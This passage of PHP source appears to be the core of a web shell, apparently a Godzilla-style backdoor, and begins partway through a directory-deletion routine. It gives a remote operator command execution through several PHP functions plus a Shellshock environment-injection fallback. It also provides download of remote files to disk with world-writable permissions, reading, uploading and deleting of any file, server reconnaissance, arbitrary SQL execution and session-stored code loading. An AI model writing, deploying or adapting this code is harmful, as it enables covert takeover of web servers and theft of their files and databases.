        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function setFileAttr(){
    $type = get("type");
    $attr = get("attr");
    $fileName = get("fileName");
    $ret = "Null";
    if ($type!=null&&$attr!=null&&$fileName!=null) {
        if ($type=="fileBasicAttr"){
            if (@chmod($fileName,convertFilePermissions($attr))){
                return "ok";
            }else{
                return "fail";
            }
        }else if ($type=="fileTimeAttr"){
            if (@touch($fileName,$attr)){
                return "ok";
            }else{
                return "fail";
            }
        }else{
            return "no ExcuteType";
        }
    }else{
        $ret="type or attr or fileName is null";
    }
    return $ret;
}
function fileRemoteDown(){
    $url=get("url");
    $saveFile=get("saveFile");
    if ($url!=null&&$saveFile!=null) {
        $data=@file_get_contents($url);
        if ($data!==false){
            if (@file_put_contents($saveFile,$data)!==false){
                @chmod($saveFile,0777);
                return "ok";
            }else{
                return "write fail";
            }
        }else{
            return "read fail";
        }
    }else{
        return "url or saveFile is null";
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
    $data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
    $data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
    $data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
    $data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['disable_functions'] = @ini_get('disable_functions');
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['Open_basedir'] = @ini_get('open_basedir');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $data['sys_get_temp_dir'] = @sys_get_temp_dir();
    $data['include_path'] = @ini_get('include_path');
    $data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['PHP_INT_SIZE'] = PHP_INT_SIZE;
    $data['canCallGzipDecode'] = canCallGzipDecode();
    $data['canCallGzipEncode'] = canCallGzipEncode();
    $data['session_name'] = @ini_get("session.name");
    $data['session_save_path'] = @ini_get("session.save_path");
    $data['session_save_handler'] = @ini_get("session.save_handler");
    $data['session_serialize_handler'] = @ini_get("session.serialize_handler");
    $data['user_ini_filename'] = @ini_get("user_ini.filename");
    $data['memory_limit'] = @ini_get('memory_limit');
    $data['upload_max_filesize'] = @ini_get('upload_max_filesize');
    $data['post_max_size'] = @ini_get('post_max_size');
    $data['max_execution_time'] = @ini_get('max_execution_time');
    $data['max_input_time'] = @ini_get('max_input_time');
    $data['default_socket_timeout'] = @ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    $SCRIPT_FILENAME=@dirname($_SERVER['SCRIPT_FILENAME']);
    $data['FileRoot'] = '';
    if (substr($SCRIPT_FILENAME, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
    $data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
    $data['FileRoot']= substr_count($data['FileRoot'],substr($SCRIPT_FILENAME, 0, 1))<=0?substr($SCRIPT_FILENAME, 0, 1).":/":$data['FileRoot'];
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

        }
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        @chmod($fileName,0777);
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}

function function_existsEx($functionName){
    $d=explode(",",@ini_get("disable_functions"));
    if(empty($d)){
        $d=array();
    }else{
        $d=array_map('trim',array_map('strtolower',$d));
    }
    return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}

function execCommand(){
    @ob_start();
    $cmdLine=get("cmdLine");
    $d=__FILE__;
    $cmdLine=substr($d,0,1)=="/"?"-c \"{$cmdLine}\"":"/c \"{$cmdLine}\"";
    if(substr($d,0,1)=="/"){
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    }else{
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    $executeFile=substr($d,0,1)=="/"?"sh":"cmd";

    $cmdLine="{$executeFile} {$cmdLine}";
    $cmdLine=$cmdLine." 2>&1";
    $ret=0;

    if (!function_exists("runshellshock")){
        function runshellshock($d, $c) {
            if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
                if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                    $tmp = tempnam(sys_get_temp_dir(), 'as');
                    putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                    if (function_existsEx('error_log')) {
                        error_log("a", 1);
                    } else {
                        mail("a@127.0.0.1", "", "", "-bv");
                    }
                } else {
                    return False;
                }
                $output = @file_get_contents($tmp);
                @unlink($tmp);
                if ($output != "") {
                    print($output);
                    return True;
                }
            }
            return False;
        };
    }

    if(function_existsEx('system')){
        @system($cmdLine,$ret);
    }elseif(function_existsEx('passthru')){
        @passthru($cmdLine,$ret);
    }elseif(function_existsEx('shell_exec')){
        print(@shell_exec($cmdLine));
    }elseif(function_existsEx('exec')){
        @exec($cmdLine,$o,$ret);
        print(join("\n",$o));
    }elseif(function_existsEx('popen')){
        $fp=@popen($cmdLine,'r');
        while(!@feof($fp)){
            print(@fgets($fp,2048));
        }
        @pclose($fp);
    }elseif(function_existsEx('proc_open')){
        $p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while(!@feof($io[1])){
            print(@fgets($io[1],2048));
        }
        while(!@feof($io[2])){
            print(@fgets($io[2],2048));
        }
        @fclose($io[1]);
        @fclose($io[2]);
        @proc_close($p);
    }elseif(runshellshock($d, $cmdLine)) {
        print($ret);
    }elseif(substr($d,0,1)!="/" && @class_exists("COM")){
        $w=new COM('WScript.shell');
        $e=$w->exec($cmdLine);
        $so=$e->StdOut();
        print($so->ReadAll());
        $se=$e->StdErr();
        print($se->ReadAll());
    }else{
        return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock is available";
    }
    print(($ret!=0)?"ret={$ret}":"");
    $result = @ob_get_contents();
    @ob_end_clean();
    return $result;
}
function execSql(){
    $dbType=get("dbType");
    $dbHost=get("dbHost");
    $dbPort=get("dbPort");
    $username=get("dbUsername");
    $password=get("dbPassword");
    $execType=get("execType");
    $execSql=get("execSql");
    function  mysql_exec($host,$port,$username,$password,$execType,$sql){
        // 创建连接
        $conn = new mysqli($host,$username,$password,"",$port);
        // Check connection
        if ($conn->connect_error) {
            return $conn->connect_error;
        }

        $result = $conn->query($sql);
        if ($conn->error){
            return $conn->error;
        }
        $result = $conn->query($sql);
        if ($execType=="update"){
            return "Query OK, "+$conn->affected_rows+" rows affected";
        }else{
            $data="ok\n";
            while ($column = $result->fetch_field()){
                $data.=base64_encode($column->name)."\t";
            }
            $data.="\n";
            if ($result->num_rows > 0) {
                // 输出数据
                while($row = $result->fetch_assoc()) {
                    foreach ($row as $value){
                        $data.=base64_encode($value)."\t";
                    }
                    $data.="\n";
                }
            }
            return $data;
        }
    }
    function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
        try {
            $conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);

            // 设置 PDO 错误模式为异常
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            if ($execType=="update"){
                return "Query OK, "+$conn->exec($sql)+" rows affected";
            }else{
                $data="ok\n";
                $stm=$conn->prepare($sql);
                $stm->execute();
                $row=$stm->fetch(PDO::FETCH_ASSOC);
                $_row="\n";
                foreach (array_keys($row) as $key){
                    $data.=base64_encode($key)."\t";
                    $_row.=base64_encode($row[$key])."\t";
                }
                $data.=$_row."\n";
                while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
                    foreach (array_keys($row) as $key){
                        $data.=base64_encode($row[$key])."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }

        }
        catch(PDOException $e)
        {
            return $e->getMessage();
        }
    }
    if ($dbType=="mysql"){
        if (extension_loaded("mysqli")){
            return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else if (extension_loaded("pdo")){
            return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else{
            return "no extension";
        }
    }else if (extension_loaded("pdo")){
        return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
    }else{
        return "no extension";
    }
    return "no extension";

}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function getAllParameters(){
    global $parameters;
    return $parameters;
}
function includeCode(){
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SES=&getSession();
    $_SES[$codeName]=$classCode;
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
function convertFilePermissions($fileAttr){
    $mod=0;
    if (strpos($fileAttr,'R')!==false){
        $mod=$mod+0444;
    }
    if (strpos($fileAttr,'W')!==false){
        $mod=$mod+0222;
    }
    if (strpos($fileAttr,'X')!==false){
        $mod=$mod+0111;
    }
    return $mod;
}
function close(){
    @session_start();
    $_SES=&getSession();
    $_SES=null;
    if (@session_destroy()){
        return "ok";
    }else{
        return "fail!";
    }
}

function bigFileDownload(){
    $mode=get("mode");
    $fileName=get("fileName");
    $readByteNum=get("readByteNum");
    $position=get("position");
    if ($mode=="fileSize"){
        if (@is_readable($fileName)){
            return @filesize($fileName)."";
        }else{
            return "not read";
        }
    }elseif ($mode=="read"){

        if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
            $handle=fopen($fileName,"ab+");
            fseek($handle,$position);
            $data=fread($handle,$readByteNum);
            @fclose($handle);
            if ($data!==false){
                return $data;
            }else{
                return "cannot read file";
            }
        }else if (function_existsEx("file_get_contents")){
            return file_get_contents($fileName,false,null,$position,$readByteNum);
        }else{
            return "no function";
        }

    }else{
        return "no mode";
    }
}

function bigFileUpload(){
    $fileName=get("fileName");
    $fileContents=get("fileContents");
    $position=get("position");
    if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
        $handle=fopen($fileName,"ab+");
        if ($handle!==false){
            fseek($handle,$position);
            $len=fwrite($handle,$fileContents);
            if ($len!==false){
                return "ok";
            }else{
                return "cannot write file";
            }
            @fclose($handle);
        }else{
            return "cannot open file";
        }
    }else if (function_existsEx("file_put_contents")){
        if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
            return "ok";
        }else{
            return "writer fail";
        }
    }else{
        return "no function";
    }
}
function canCallGzipEncode(){
    if (function_existsEx("gzencode")){
        return "1";
    }else{
        return "0";
    }
}
function canCallGzipDecode(){
    if (function_existsEx("gzdecode")){
        return "1";
    }else{
        return "0";
    }
}
function bytesToInteger($bytes, $position) {
    $val = 0;
    $val = $bytes[$position + 3] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 2] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 1] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position] & 0xff;
    return $val;
}
function isGzipStream($bin){
    if (strlen($bin)>=2){
        $bin=substr($bin,0,2);
        $strInfo = @unpack("C2chars", $bin);
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
        switch ($typeCode) {
            case 31139:
                return true;
                break;
            default:
                return false;
        }
    }else{
        return false;
    }
}
function getBytes($string) {
    $bytes = array();
    for($i = 0; $i < strlen($string); $i++){
        array_push($bytes,ord($string[$i]));
    }
    return $bytes;
}
?>